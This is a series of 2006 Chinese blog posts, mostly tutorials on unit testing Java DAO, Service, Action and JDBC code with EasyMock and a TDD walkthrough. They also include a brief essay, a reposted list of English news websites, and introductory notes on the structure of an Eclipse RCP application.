  6. import org.wuhua.model.Account;  

  7.   

  8. public class AccountDao extends BaseDao implements IAccountDao {  

  9.   public Account findAccountById(String id) {  

  10.         return (Account) this.getHibernateTemplate().get(Account.class, id) ;  

  11.     }  

  12.   

  13.     public Account findAccounByName(String name) {  

  14.         List l = this.getHibernateTemplate().find("from Account as a where a.name=?", name);  

  15.         if(l != null && l.size() >=1)  

  16.             return (Account) l.get(0);  

  17.         else   

  18.             return null;  

  19.     }  

  20. }  





java 代码


 


  1. package org.wuhua.dao;  

  2.   

  3. import java.util.ArrayList;  

  4. import java.util.List;  

  5.   

  6. import junit.framework.Assert;  

  7. import junit.framework.TestCase;  

  8.   

  9. import org.easymock.MockControl;  

  10. import org.easymock.classextension.MockClassControl;  

  11. import org.springframework.orm.hibernate3.HibernateTemplate;  

  12. import org.wuhua.dao.impl.AccountDao;  

  13. import org.wuhua.model.Account;  

  14.   

  15.    

  16.   

  17. public class AccountDaoTest extends TestCase {  

  18.       

  19.     private AccountDao accountDao;  

  20.     private org.springframework.orm.hibernate3.HibernateTemplate ht;  

  21.     private MockControl control;  

  22.   

  23.     protected void setUp() throws Exception {  

  24.         control = MockClassControl.createControl(HibernateTemplate.class);  

  25.         ht = (HibernateTemplate) control.getMock();  

  26.         accountDao = new AccountDao();  

  27.         accountDao.setHibernateTemplate(ht);  

  28.     }  

  29.   

  30.     protected void tearDown() throws Exception {  

  31.            

  32.     }  

  33.       

  34.     public void testFindAccountById(){  

  35.         Account a = new Account("wuhua");  

  36.         a.setId("10");     

  37.           

  38.         ht.get(Account.class, a.getId());  

  39.           

  40.         control.setReturnValue(a);  

  41.           

  42.         control.replay();  

  43.           

  44.         Account result =   accountDao.findAccountById(a.getId());  

  45.           

  46.         assertNotNull(result);  

  47.   

  48.         Assert.assertEquals(a.getId(),result.getId());  

  49.         Assert.assertEquals(a, result);  

  50.           

  51.         control.verify();  

  52.           

  53.     }  

  54.       

  55.     public void testFindAccountByName(){  

  56.         Account a = new Account("wuhua");      

  57.            

  58.         ht.find("from Account as a where a.name=?", a.getName());  

  59.         List l = new ArrayList();  

  60.         l.add(a);  

  61.         control.setReturnValue(l);  

  62.           

  63.         control.replay();  

  64.           

  65.         Account result =  accountDao.findAccounByName(a.getName());  

  66.   

  67.         Assert.assertEquals(a.getId(),result.getId());  

  68.         Assert.assertEquals(a, result);  

  69.           

  70.         control.verify();  

  71.           

  72.     }  

  73. }  


posted @ 2006-12-30 09:06 路是爬出来的 阅读(123) | 评论 (0)编辑 收藏

单元测试之实践三 Service的测试

测试Service,因为Service依赖的Dao, 所以只需Mock一个Dao即可。在这里我详细的介绍关于注册这个功能的测试

java 代码


 


  1. public interface IAccountService extends IBaseService {  

  2.       Account findAccountById(String id);  

  3.       Account findAccounByName(String name);  

  4.       void regist(Account account) throws ObjectExistsException;  

  5. }  



   注册功能的实现。
java 代码


 


  1. public void regist(Account account) throws ObjectExistsException {  

  2.     if(accountDao.findAccounByName(account.getName()) != null)  

  3.         throw new ObjectExistsException("User's name is exists!");  

  4.       

  5.     accountDao.save(account);  

  6. }  





测试代码
java 代码


 


  1.     protected void setUp() throws Exception {  

  2.         control = MockControl.createControl(IAccountDao.class);  

  3.         accountDao = (IAccountDao) control.getMock();  

  4.         as = new AccountService();  

  5.         as.setAccountDao(accountDao);  

  6.     }  

  7.   

  8.   

  9. public void testFindAccountByName() {  

  10.         String name = "wuhua";  

  11.         accountDao.findAccounByName(name);  

  12.         Account a = new Account("wuhua");  

  13.         a.setId(name);  

  14.         control.setReturnValue(a);  

  15.         control.replay();  

  16.         Account at = as.findAccounByName(name);  

  17.         Assert.assertEquals(name, at.getId());  

  18.         Assert.assertEquals(a, at);  

  19.         control.verify();  

  20.     }  





首先我们建立一个关键字查询,name="wuhua";

然后调用Dao的方法,

然后自定义返回一个自己预期的对象,

最后通过比较这个对象判断结果是否是自己想要的

posted @ 2006-12-30 09:06 路是爬出来的 阅读(344) | 评论 (0)编辑 收藏

单元测试之实践四 Action的测试

       Action的测试是比较辛苦的。因为它依赖与其他的环境(比如tomcat)。

       在我的印象中,基于struts的测试是很麻烦的,因为对于execute方法,你必须mock两个对象进去。

      还好。基于Webwork的测试相对简单些。

      下面让我们来测试一个例子吧

      

java 代码


 


  1.       Account account;  

  2. IAccountService accountService;  

  3. public void setAccount(Account account) {  

  4.     this.account = account;  

  5. }  

  6.   

  7. public void setAccountService(IAccountService accountService) {  

  8.     this.accountService = accountService;  

  9. }  

  10.   

  11. public String regist() throws Exception {  

  12.     if(account == null) {  

  13.         account = new Account();  

  14.         return INPUT;  

  15.     }  

  16.       

  17.     if(!validForm(account))   

  18.         return INPUT;  

  19.       

  20.     try {  

  21.         accountService.regist(account);  

  22.     } catch (ObjectExistsException e) {  

  23.         e.printStackTrace();  

  24.         return INPUT;  

  25.     }  

  26.       

  27.     return SUCCESS;  

  28. }  

  29.   

  30. private boolean validForm(Account e) {  

  31.     if(e.getName() == null || e.getName().trim().equals(""))  

  32.         return false;  

  33.     if(e.getPassword() == null || e.getPassword().trim().equals(""))  

  34.         return false;  

  35.     return true;  

  36. }  





有经验的程序员见到上面的代码应该就知道怎么测试了。

我们只需setAccount,跟setAccountService即可,

而Account本身来讲就是是个po,所以可以自己new一个

AccountService则可以mock一个。真是太完美了,我太喜好mock,它总是给我惊喜

java 代码


 


  1. package org.wuhua.action;  

  2.   

  3. import junit.framework.TestCase;  

  4.   

  5. import org.easymock.MockControl;  

  6. import org.wuhua.exception.ObjectExistsException;  

  7. import org.wuhua.model.Account;  

  8. import org.wuhua.service.IAccountService;  

  9.   

  10. import sms.king.AccountManager;  

  11.   

  12. import com.opensymphony.xwork.Action;  

  13.   

  14. public class AccountActionTest extends TestCase {  

  15.     private MockControl control;  

  16.     IAccountService accountService;  

  17.     protected void setUp() throws Exception {  

  18.         control = MockControl.createControl(IAccountService.class);  

  19.         accountService = (IAccountService) control.getMock();  

  20.            

  21.     }  

  22.       

  23.     public void testRegistOk() throws Exception {  

  24.         Account employee = new Account("name");  

  25.         employee.setPassword("password");  

  26.           

  27.        

  28.            

  29.           

  30.         accountService.regist(employee);  

  31.         control.setVoidCallable(1);  

  32.           

  33.         control.replay();  

  34.           

  35.         AccountAction action = new AccountAction();  

  36.         action.setAccount(employee);  

  37.         action.setAccountService(accountService);  

  38.           

  39.         assertEquals(Action.SUCCESS, action.regist());  

  40.           

  41.         control.verify();  

  42.     }  

  43.       

  44.     public void testRegistNameExists() throws Exception {  

  45.         Account employee = new Account("name");  

  46.         employee.setPassword("password");  

  47.           

  48.    

  49.        

  50.           

  51.         accountService.regist(employee);  

  52.         control.setThrowable(new ObjectExistsException(""));  

  53.           

  54.         control.replay();  

  55.           

  56.         AccountAction action = new AccountAction();  

  57.         action.setAccount(employee);  

  58.         action.setAccountService(accountService);  

  59.           

  60.         assertEquals(Action.INPUT, action.regist());  

  61.           

  62.         control.verify();  

  63.     }  

  64. }  



 

ok,一个测试的例子就好了。

posted @ 2006-12-30 09:06 路是爬出来的 阅读(150) | 评论 (0)编辑 收藏

这年头谁不浮躁

      都说程序员很浮躁,动不动就那跳槽威胁公司,以提高自己的价值。

      但是真的就是这样吗? 你看海尔,你看联想,TCL那个不浮躁,动不动就说什么国际话走出中国市场。它们就是不甘于现状,敢于浮躁。这不就是为了提高自己的竞争力吗?  

      浮躁本没罪,被人骂多了就有罪了。浮躁是人不安现在的本能反映,它足以摧毁一切,想想要是邓爷爷也安于现状,当时人家的年龄可是7老8十的,人家干吗这么拼命啊。还不是浮躁,觉得应该给全国人们一个好的生活。

      我们浮躁也还不是为了更好的生活。浮躁让人觉得有生机勃勃。

      浮躁本没罪,有罪的是浮躁这个词语。

posted @ 2006-12-30 09:06 路是爬出来的 阅读(89) | 评论 (0)编辑 收藏

单元测试总篇与TTD实践

        经过前几篇的测试学习跟实践,我觉得有必要对这次学习做个总结。其实上面的话只是幌子,主要原因还是javaeye的

lighter 写道

貌似这一篇文章要放在"agile"版块更好一些吧.

btw:wuhua同学写文章有时候可以把两篇结合成一篇,可能会更好一些,不然让别人看一篇文章要看一,二,三,四才能看完.个人建议而已,别见怪.



觉得他说的很对,当时是出于篇幅过程,怕javaeye blog不支持大篇幅的文章,所以拆开。不过我觉得我这个担心是多余的。这里说句题外话,我用过很多Blog,但觉得这里是最好的。速度快,写文章贴心(主要是对源代码格式化方面做的很出色)。



好了,进入正题。

先介绍下我以前写的那些文章先,让大家对这篇文章有个初步的认识。

单元测试之测试目的,

单元测试之实践一,关于设计的常见分层

单元测试之实践二,关于DAO的测试

单元测试之实践三 Service的测试









单元测试之实践四 Action的测试



以前我正常的设计流程是Database->Model -> Dao-> Service -> Action ->View。这样的设计伴随我1年多了,这样的设计方式好吗?这样的设计高效吗? 代码质量能保证吗? 我可以很肯定的回答,不能,如果数据库一该,我要在表格里面添加一个字段,或者什么的。那么它将会牵连到很多其他,修改的动作如下:Database->Model -> Dao-> Service -> Action ->View。 噢,my got,几乎跟设计的一样多,甚至更多,因为在修改的过程中你就算有再好IDE去重构它也不能保证它的正确性。然后你就要去测试,测试它的正确性。也许测试的过程将是修改过程的几倍时间。所以我个人觉得这样的设计方式是不高效的。总而言之就是这样的设计迟早会出问题的?



为什么会这样呢?难道就没有一种解决办法吗? 经过这段日子学习我发现,以前的设计不能很好的保证质量是因为你没有足够的单元测试去支撑着它,所以你改了代码后缺乏一个很好的手段去保持这段代码的质量,换句话的意思就是,没有一个静态的人去监督你的工作(我把单元测试比喻为静态的人,它只做一件事,就是督促你的代码不出问题)。



好了。我们已经找到了适合保证我们代码质量的方法了。但是我们还得提高我们的开发效率啊。这又怎么办呢?是不是还按照以前的方式吗?我想自己浑浑噩噩的活了20多年了。我想换种活法了,想找种更刺激,更有意义的生活方式。

设计有时候更生活是一样的,应该经常探索,经常实践才能感受的更多。

那好吧我们就来个彻底的变革吧。怎么变呢? 很明显:那就是TDD。

该怎么做呢?

以前的方式:Database->Model -> Dao-> Service -> Action ->View。

TDD的方式:Test->其他。

先看看下面Dao的例子吧:以前的方式:IBaseDao ->  BaseDao -> BaseDaoTest。

TDD:BaseDaoTest->IBaseDao->BaseDao.


 


  1. public void testFindAccountByName(){  

  2.     Account a = new Account("wuhua");      

  3.     ht.find("from Account as a where a.name=?", a.getName());  

  4.     List l = new ArrayList();  

  5.     l.add(a);  

  6.     control.setReturnValue(l);  

  7.     control.replay();  

  8.     Account result =  accountDao.findAccounByName(a.getName());  

  9.     Assert.assertEquals(a.getId(),result.getId());  

  10.     Assert.assertEquals(a, result);  

  11.     control.verify();  

  12.       

  13. }  



好,非常好,怎么这段代码不能运行呢?当然不行了,因为上面的很多类都没有。那我们这段代码的用途是什么呢?

用途就是:以为上面的从上面的代码我很清楚自己以后要做什么。1,要建立一个Model,里面起码有一个name属性,然后你会发现我们要测试的功能段是accountDao.findAccounByName(a.getName()); 里面我们要求测试的SQL是from Account as a where a.name=?,意图明确吧。好,



我们写下实际代码吧。

java 代码



  1. public Account findAccounByName(String name) {  

  2.         List l = this.getHibernateTemplate().find("from Account as ", name);  

  3.         if(l != null && l.size() >=1)  

  4.             return (Account) l.get(0);  

  5.         else   

  6.             return null;  

  7.     }  



好,代码写好了。去运行我们的测试吧。结果是令人失望的。怎么会是红色的呢。肯定是逻辑代码出问题了(如果测试代码没问题的话)。经过检查发现原来
from Account as a where a.name=?跟from Account as 完全两码事。好改回去



java 代码


 


  1. public Account findAccounByName(String name) {  

  2.         List l = this.getHibernateTemplate().

  3.                              find("from Account as a where a.name=?", name);  

  4.         if(l != null && l.size() >=2)  

  5.             return (Account) l.get(0);  

  6.         else   

  7.             return null;  

  8.     } 



怎么还是红色啊。我不干了(程序员暴躁的情绪出来了,我就经常这样)主管跟我说:“再查查吧。别灰心。”

后来查了半天发现原来

java 代码


 


  1. List l = new ArrayList();    

  2.  l.add(a);   



我只renturn一个预期的对象a
java 代码


 


  1. if(l != null && l.size() >=2)  

  2.             return (Account) l.get(0);  

  3.         else   

  4.             return null;  



而代码却要求我要传入预期两个对象才给我通过,所以代码只return null。



最后改了这段代码

java 代码


 


  1. public Account findAccounByName(String name) {  

  2.         List l = this.getHibernateTemplate().find("from Account


  3.                                         as a where a.name=?", name);  

  4.         if(l != null && l.size() >=1)  

  5.             return (Account) l.get(0);  

  6.         else   

  7.             return null;  

  8.     }  





终于通过了。绿色,绿色,我看到了。我对主管说。主管笑了。我也笑了



最后我郁闷下,写这篇文章足足话了我22个小时,

第一次写好了。杀毒突然重启。所以全没了。

第二次,提交不了。然后忘记备份,又全没了

第三次成功了。过程跟TDD差不多。







posted @ 2006-12-30 09:06 路是爬出来的 阅读(254) | 评论 (0)编辑 收藏

90个外国英文网站强力推荐 (转)

文章转自http://www.j2medev.com/blog/user2/titoudao/archives/2006/2401.html

主要收藏用。

一、大陆可访问的优秀英文信息源

1、英国《经济学家》
http://www.economist.com

2、美联社
http://wire.ap.org/GoToAP.cgi

3、英国BBC
http://news.bbc.co.uk

4、《纽约时报》
http://www.nytimes.com

5、普利策新闻奖1995年到2001年全部获奖作品
http://www.pulitzer.org

6、美国全国广播公司
http://www.msnbc.com/news

7、《华尔街日报》评论
http://www.opinionjournal.com

8、香港《南华早报》
http://china.scmp.com/index.html



二、新闻收藏夹

1、CNN可以直接访问的地址
http://asia.cnn.com(亚洲版)

2、CNN可以通过代理服务器访问的地址
http://207.25.71.5(国际版)

3、BBC可以通过代理服务器访问的地址
http://212.58.240.36

4、《华盛顿邮报》社论版 可以通过代理服务器访问的地址:
http://64.215.175.141/wp-dyn/opinion



三、英美外电新闻

1、《泰晤士报》
http://www.thetimes.co.uk

2、《基督教科学箴言报》
http://www.csmonitor.com

3、《今日美国》
http://usatoday.com

4、美国广播公司
http://abcnews.go.com

5、英国《观察家》
http://www.observer.co.uk

6、英国《每日电讯》
http://www.dailytelegraph.co.uk



四、英美周刊杂志

1、《每周标准》
http://www.weeklystandard.com

2、《外交事务杂志》
http://www.foreignaffairs.orghttp:/...eignaffairs.org

3、《沙龙》
http://www.salon.com

4、《美国观察者》
http://www.gilder.com/amspec/index.html

http://www.gilder.com/amspec/index.html

http://www.gilder.com/amspec/index.html

5、《新共和》
http://www.tnr.com/

6、《国家评论》
http://www.nationalreview.com

7、《国家杂志》
http://nationaljournal.com/about/njweekly/stories/

8、《纽约客》
http://www.newyorker.com/

9、《纽约书评》
http://www.nybooks.com/

10、《外交政策》
http://www.foreignpolicy.com/

11、《大西洋月刊》The Atlantic Onlinehttp://www.theatlantic.com//

12、《外交政策聚焦》
http://www.foreignpolicy-infocus.org/

13、《民族》The Nationhttp://www.thenation.com/

14、《进步》Homepage of The Progressive magazine
http://www.progressive.org/

15、《洋葱》
http://www.theonion.com/(有趣新闻站点)



五、时事资料

1、安全政策研究中心
http://www.centerforsecuritypolicy.org/

2、美国国务院各国背
http://www.state.gov/r/pa/bgn/

3、世界各国地图
http://www.lib.utexas.edu/maps/index.html

4、卫星照片
http://www.spaceimaging.com/

5、网上各国政府资料
http://www.gksoft.com/govt/en/

6、中国外交部各国背景
http://www.fmprc.gov.cn/chn/c242.html



六、英美常用经济网站

1、《金融时报》
http://news.ft.com/home/rw

2、《商业周刊》
http://news.ft.com/home/rw

3、《财富》
http://www.fortune.com/fortune

4、《远东经济评论》
http://www.feer.com

5、《福布斯》
http://www.forbes.com

6、哥伦比亚广播公司《市场观察》
http://cbs.marketwatch.com/news/default.asp?siteid=mktw

7、《街》
http://www.thestreet.com/



七、非英美周刊杂志和资料站点

1、德国《镜报》
http://www.spiegel.de/spiegel(点击English Texts)

2、教廷《罗马观察家》
http://www.vatican.va/news_services..._eng/index.html

3、捷克《布拉格邮报》
http://www.praguepost.cz/

4、《俄罗斯周刊》
http://www.russiajournal.com/

5、英国《简氏防务周刊》
http://www.janes.com/(出色的军事杂志)

6、埃及《中东时报》
http://www.metimes.com/

7、《巴勒斯坦时报月刊》
http://www.ptimes.com/

8、巴勒斯坦《耶路撒冷时报》
http://www.jerusalem-times.net/

9、埃及《Al-Ahram周刊》
http://www.ahram.org.eg/weekly/

10、阿富汗研究
http://www.institute-for-afghan-studies.org/

11、中东新
http://www.middleeastwire.com/

12、以色列DEBKA档案
http://www.debka.com/(一个情报站点)

13、保加利亚《首都周刊》
http://www-us.capital.bg/old/weekly/index.html

14、皇帝的新装
http://www.emperors-clothes.com;

15、全球主义者
http://www.theglobalist.com/

16、台湾《东森新闻报》
http://www.ettoday.com/

by
http://www.hjenglish.com



八、非英美外电新闻

1、《东盟新闻》
http://www.aseanreview.com

2、菲律宾《星报》
http://www.philstar.com/htmtest/index.htm

3、菲律宾《每日调查》
http://www.inq7.net/

4、印尼《雅加达邮报》
http://www.thejakartapost.com/headlines.asp

5、新加坡《海峡时报》
http://straitstimes.asia1.com.sg/home

6、巴基斯坦《黎明报》
http://www.dawn.com

7、《印度时报》
http://www.timesofindia.com

9、尼泊尔新闻
http://www.nepalnews.com.np

10、德国《法兰克福汇报
http://www.faz.com/IN/INtemplates/eFAZ/default.asp

11、俄罗斯《莫斯科时报》
http://www.moscowtimes.ru

12、保加利亚《新闻报》
http://news.bg/en/

13、保加利亚《索菲亚回声报》
http://www.sofiaecho.com/

14、《爱尔兰时报》
http://www.ireland.com/

15、以色列《哈阿雷兹》
http://www.haaretzdaily.com/

16、伊拉克新闻
http://www.uruklink.net/iraqnews/eindex.htm

17、《约旦时报》
http://www.jordantimes.com

18、阿联酋《Khaleej时报》
http://www.khaleejtimes.com/

19、古巴《格拉玛》
http://www.granma.cu/ingles/index.html

20、阿根廷《布宜诺斯艾利斯先驱报》
http://www.buenosairesherald.com

21、泛非洲在线
http://allafrica.com/

22、联合国新闻中心
http://www.un.org/News

23、可以在线阅读英文小说
http://hnbc.hpe.sh.cn/01/01A/04/UVWX.HTM

24、《时代周刊》
www.time.com

25、《国家地理》
http://www.nationalgeographic.com

26、《新闻周刊》
http://www.msnbc.com/news/NW-front_Front.asp

posted @ 2006-12-30 09:06 路是爬出来的 阅读(132) | 评论 (0)编辑 收藏

rcp实践

      这篇文章基本上是没怎么加我自己写的代码的,几乎全部是eclipse生成的,本人只是拿这个例子来说说自己的认识,所以里面很多错误,看了就把它忘记吧。建议到网站找资料,我想更适合你。

最近发现rcp的资料越来越多,而自己有处于比较有空的状态,所想写一篇完整的Rcp教程,由于我也是初学,所以写出来的很多东西可能都是错的,所以建议参考一些资料:


http://www.eclipse.org/home/categories/rcp.php Eclipse Rcp的官方网站。


http://www-128.ibm.com/developerworks/cn/opensource/top-projects/eclipse.html  IBM网站 Eclispe的帮助文档。


上面的文档足以帮助我们这些初学者入门。


<!--[if !supportEmptyParas]--> <!--[endif]-->


下面我将以一篇管理用户的例子来体验RCP的美妙,此程序基于(jdk1.5+eclipse3.2)。


一.创建序基本框架


二.分析RCP的结构


三.添加程序功能


四.建立数据modeldaoserviceaction


五.测试


六.打包


一.    序基本框架,我想Eclipse这点做的是很贴心的,在创建程序框架的时候选择Email Template。并输入项目名称org.wuhua.rcp。然后点下一步就行了。这样我们创建了带菜单,工具条等基本模板。




上面的模板我想基本上是适合我们的程序的,不过我们要改进下它们,比如菜单,工具条,跟左侧树状菜单,这些是我们要改进的,我们要让它们符合我们的需求。



二.    哇,上面的框架好漂亮啊。Eclipse是怎么做出来的。程序是怎么启动的?我怎么没有找到main方法呢?java不是要求从main启动的吗?那些图片,菜单,工具条,视图是怎么构建的呢?跟Swing,awt有区别吗?

带这这些问题我们来看看那些源代码是怎么工作的?

我们将三步来学习这些东西:

1,    插件清单――plugin.xml,MANIFEST.MF(OSGI绑定),build.properties。

2,    java代码――Perspective,ActionBarAdvisor, WorkbenchAdvisor,Application


<!--[if !supportLists]-->


插件清单的学习:重点RCP程序也是一个插件,但跟插件又有点不同(它有自己独立的工作台,有自己独立的透视图,透视图在程序启动时候启动(可以自己指定相关的透视图实现)。要注意的是在相同的时间里只能存在一个透视图),我认为普通插件是构建在Eclipse的工作台之上的,说白了就是插件要依赖与Eclipse来工作,而RCP则可独立运行――纯粹个人观点。


在创建了插件项目之后,需要创建透视图,创建透视图是一个两阶段的过程。首先,修改插件的清单以包含新的扩展,该扩展将使用 org.eclipse.ui.perspectives 扩展点。其次,使用来自新扩展点的属性创建一个透视图类。根据关于扩展和扩展点的早期讨论,AutoTest应用程序的插件清单已经包括下列扩展:


 


         point="org.eclipse.ui.perspectives">


     


            name="Autotest Perspective"


            class="org.wuhua.autotest.ui.Perspective"


            id="org.wuhua.autotest.perspective">


     


 




元素具有下列属性:



  • id —— 该属性为透视图定义了一个惟一标识符。

  • name —— 该属性为透视图定义了一个名称,工作台窗口菜单栏将使用它来表示该透视图。

  • class —— 该属性包含实现 org.eclipse.ui.IPerspectiveFactory 接口的类的完全限定名。



上面是对透视图插件清单的定义,现在我们看下,透视图在java代码中是怎么样构建的,是怎么样显示到桌面?看看下面的代码


java 代码


 


  1. public class Perspective implements IPerspectiveFactory {  

  2.     public void createInitialLayout(IPageLayout layout) {  

  3.     }  

  4. }  



IperspectiveFactory指定一个创建透视图接口,我们只需要实现它即可。程序会在启动的时候加载这个类,具体是通过plugin.xml里面的扩展点:

point="org.eclipse.ui.perspectives">――个人认为:我们可以把RCP启动框架OSGI相当于Spring IOC容器,通过配置文件加载并管理各个方面的资源。


<!--[if !supportEmptyParas]--> <!--[endif]-->


具体创建透视图的方法是:





java 代码


 


  1. public void createInitialLayout(IPageLayout layout) {  

  2.     String editorArea = layout.getEditorArea();  

  3.         layout.setEditorAreaVisible(false);  

  4.           

  5.         layout.addStandaloneView(NavigationView.ID,  false, IPageLayout.LEFT, 0.25f, editorArea);  

  6.         IFolderLayout folder = layout.createFolder("messages", IPageLayout.TOP, 0.5f, editorArea);  

  7.         folder.addPlaceholder(View.ID + ":*");  

  8.         folder.addView(View.ID);  

  9.           

  10.         layout.getViewLayout(NavigationView.ID).setCloseable(false);  

  11. }  



 



我们可以在里面部署我们的透视图,比如透视图开始位置,大小,是否可见等――系统通过传入IpageLayout 对象,然后通过这个对象来实现上面的功能。


介绍 WorkbenchAdvisor


前面集中讨论了构成 RCP 应用程序的各种组件。接下来将集中讨论如何将所有的事物结合到一起。在构建 RCP 应用程序时,核心任务之一就是创建一个实现抽象类 org.eclipse.ui.application.WorkbenchAdvisor 的类。WorkbenchAdvisor 类负责配置工作台,当执行 RCP 应用程序时,将显示该工作台。


WorkbenchAdvisor 类包含下列方法,从而为开发人员提供了对普通工作台的生命周期的访问:



  • initialize —— 应该在显示任何窗口之前首先调用该方法。

  • preStartup —— 其次执行的就是这个方法,但它的调用是在第一个窗口打开之前。在启动或者恢复期间暂时禁用某些项时,该方法非常有用。

  • postStartup —— 对该方法的调用是执行的第三个操作,它的调用是在第一个窗口打开之后,可以用该方法重新启用 preStartup 方法中临时禁用的项。

  • postRestore —— 该方法的调用是在已经根据以前保存的状态重新创建工作台及其窗口之后。

  • preShutdown ——该方法的调用是在事件循环已经终止,任何窗口尚未关闭之前。

  • postShutdown ——这是最后一个方法,它在事件循环终止之后被调用。


WorkbenchAdvisor 类包含下列方法,以便为开发人员提供对工作台窗口生命周期的访问:



  • preWindowOpen —— 在打开每个窗口时调用该方法。

  • fillActionBars —— 在调用 preWindowOpen 方法之后调用该方法,可以使用它配置窗口的动作栏。

  • postWindowRestore —— 在根据以前保存的状态重新创建窗口之后调用该方法。

  • postWindowOpen —— 在已经打开一个窗口之后调用该方法。可以使用该方法注册任何窗口监听器。

  • preWindowShellClose —— 在用户关闭窗口外壳时调用该方法。


WorkbenchAdvisor 类包含下列方法,以便为开发人员提供对工作台事件循环的访问。



  • eventLoopException —— 可以调用该方法处理事件循环崩溃的异常。

  • eventLoopIdle —— 在没有更多的事件需要处理的时候调用该方法。


<!--[if !supportEmptyParas]--> <!--[endif]-->


WorkbenchAdvisor 是个非常重要的类,它负责配置整个工作台,一个Rcp程序只能存在一个WorkbenchAdvisor(工作台)实例,但可以存在多个WorkbenchWindowAdvisor实例(工作窗口,相当于打开新窗口)。


现象来详细看下WorkbenchWindowAdvisorWorkbenchAdvisor是通过创建WorkbenchWindowAdvisor来实现工作台的配置的,当然也可以不这么做。它也可以自己创建。但我觉得通过WorkbenchWindowAdvisor创建更灵活而且给人感觉更舒服。


ActionBarAdvisor 这个类是我们用来定制菜单,工具条等。它的方法解释如下


protected void makeActions(final IWorkbenchWindow window) {


 //在这里可以通过窗口来定制action,比如文件中的打开,关闭,推出等action。


}


protected void fillMenuBar(IMenuManager menuBar) {


  //定制菜单


}


<!--[if !supportEmptyParas]--> <!--[endif]-->


Application Rcp核心类,根据API说明,此类是RCP启动的Main类,里面的run方法相当于普通java程序的main方法。通常这个类是建立RCP应用程序生成,代码结构基本不用去修改。


java 代码


 


  1. Display display = PlatformUI.createDisplay();  

  2.         try {  

  3.             int returnCode = PlatformUI.createAndRunWorkbench(display, new ApplicationWorkbenchAdvisor());  

  4.             if (returnCode == PlatformUI.RETURN_RESTART) {  

  5.                 return IPlatformRunnable.EXIT_RESTART;  

  6.             }  

  7.             return IPlatformRunnable.EXIT_OK;  

  8.         } finally {  

  9.             display.dispose();  

  10.         }  





我们可以很清楚的知道,线程会在PlatformUI.createAndRunWorkbench(display, new ApplicationWorkbenchAdvisor());这里不挺的运行,直到程序崩溃或者用户退出才会返回。


<!--[if !supportEmptyParas]--> <!--[endif]-->


恩。我想我基本上知道rcp是怎么运行的了,我对主管说?


那好啊。你总结下,它是怎么运行的。


首先通过plugin.xml文件配置rcp的各个方面,比如扩展点,需求包等。这个文件就好像spring的bean配置文件,告诉了容器上下文。


“我说的对不对啊,主管。”我跟主管说。


“那MANIFEST.MF这个文件的用途是什么呢?”主管说。


我查查啊。噢,原来是跟OSGI有关的啊,在xx版本的esplise以前,plugin.xml做了全部工作,后来改进了。把一些工作放到MANIFEST.MF这个文件来了。我想它主要对OSGI框架运行的元数据包装吧,比如定义RCP的运行环境跟依赖项目(有可能是插件)。


<!--[if !supportEmptyParas]--> <!--[endif]-->


对了我们基本上算是了解了RCP的一些基本只是,我现在想了解下,我点击那些菜单的时候为什么会有反映的,它是怎么做到的?


那么我们试验下吧。经过查找API我们发现了Iaction,字面上怎么跟webwork的action差不多啊。因为根据名称我们知道action具体是做什么的。它也是一个Command模式的经典应用吗?


我想是的。看看它的方法


java 代码


 


  1. public void run() {  

  2.         MessageDialog.openInformation(window.getShell(), "Open""Open Message Dialog!");  

  3.     }  

  4. }  






这就更清楚了。我们只要继承Action并覆盖它的run方法就可以实现点击的动作了。哈哈。Eclispe我太喜欢你了,


好我们自己来定义实现一个Action吧。





java 代码


 


  1. public class MessagePopupAction extends Action {  

  2.   

  3.     private final IWorkbenchWindow window;  

  4.   

  5.     MessagePopupAction(String text, IWorkbenchWindow window) {  

  6.         super(text);  

  7.         this.window = window;  

  8.         // The id is used to refer to the action in a menu or toolbar  

  9.         setId(ICommandIds.CMD_OPEN_MESSAGE);  

  10.         // Associate the action with a pre-defined command, to allow key bindings.  

  11.         setActionDefinitionId(ICommandIds.CMD_OPEN_MESSAGE);  

  12.         setImageDescriptor(org.wuhua.rcp.Activator.getImageDescriptor("/icons/sample3.gif"));  

  13.     }  

  14.   

  15.     public void run() {  

  16.         MessageDialog.openInformation(window.getShell(), "Open""Open Message Dialog!");  

  17.     }  

  18. }  



 


上面只是我对rcp一点认识,如果要想设计好rcp我觉得除了对这些基本知识要有了解外,对swt/jface也是要有充分的认识的。

posted @ 2006-12-30 09:06 路是爬出来的 阅读(284) | 评论 (0)编辑 收藏

用easymock测试jdbc

     虽然以前用easymock测试过Dao,但那些Dao的实现,要么就hibernate,要么就用spring,而这两个框架的执行正确与否我们是不用关心的。JDBC是不是也这样测试了。答案是肯定的。

      这几天要用存储过程跟jdbc来做个项目,想想也有好长一段时间没用过JDBC来做项目了。该复习复习了。

      前阵子学了easymock,真好现在可以派上用场了。不过在测试的过程中还是遇到了不小问题,想来是自己基础不好的缘故。



       这次不TDD了,太麻烦了。

       先看看我们要测试的代码

     

java 代码


 


  1. CallableStatementcstmt = null;  

  2.         try {  

  3.             cstmt = _conn.prepareCall("{call LUCK_LOAD_COMMON(?,?)}");  

  4.             cstmt.setString(1"1");  

  5.             cstmt.registerOutParameter(2, java.sql.Types.VARCHAR);  

  6.   

  7.             cstmt.executeUpdate();  

  8.             return cstmt.getString(2);  

  9.   

  10.         } catch (Exception e) {  

  11.             GxDebug.logException(e);  

  12.             e.printStackTrace();  

  13.             return null;  

  14.         } finally {  

  15.             if (cstmt != null)  

  16.                 try {  

  17.                     cstmt.close();  

  18.                 } catch (Exception e) {  

  19.             }  

  20.         }  



  代码还挺长的。从上面的代码我们知道我们必须mock两个对象进去。一个是Connection, 一个是CallableStatementcstmt 。

好再看看我们的测试代码

java 代码



  1. conn.prepareCall("{call LUCK_LOAD_COMMON(?,?)}");  

  2.     conControl.setReturnValue(cstmt);  

  3.     conControl.replay();  

  4.       

  5.     cstmt.setString(1"1");  

  6.     cstmt.registerOutParameter(2, java.sql.Types.VARCHAR);  

  7.     cstmt.executeUpdate();  

  8.     cstmtControl.setReturnValue(1);  

  9.     cstmt.getString(2);  

  10.     cstmtControl.setReturnValue("5,4,3");  

  11.     cstmt.close();  

  12.     cstmtControl.replay();  

  13.       

  14.       

  15.     String rusult = dao.getNumber();  

  16.     Assert.assertEquals("5,4,3", rusult);  

  17.       

  18.     conControl.verify();  

  19.     cstmtControl.verify();  





oh,my got!测试代码比实现代码还要多。这段代码能执行吗?

我想可以的。easymock的原理是记录-回放的模式。

我想要做的工作是:

1,记录你mock对象的工作记录,比如上面的代码我们mock对象的工作记录是:

java 代码



  1. conn.prepareCall("{call LUCK_LOAD_COMMON(?,?)}");  

  2.         conControl.setReturnValue(cstmt);  

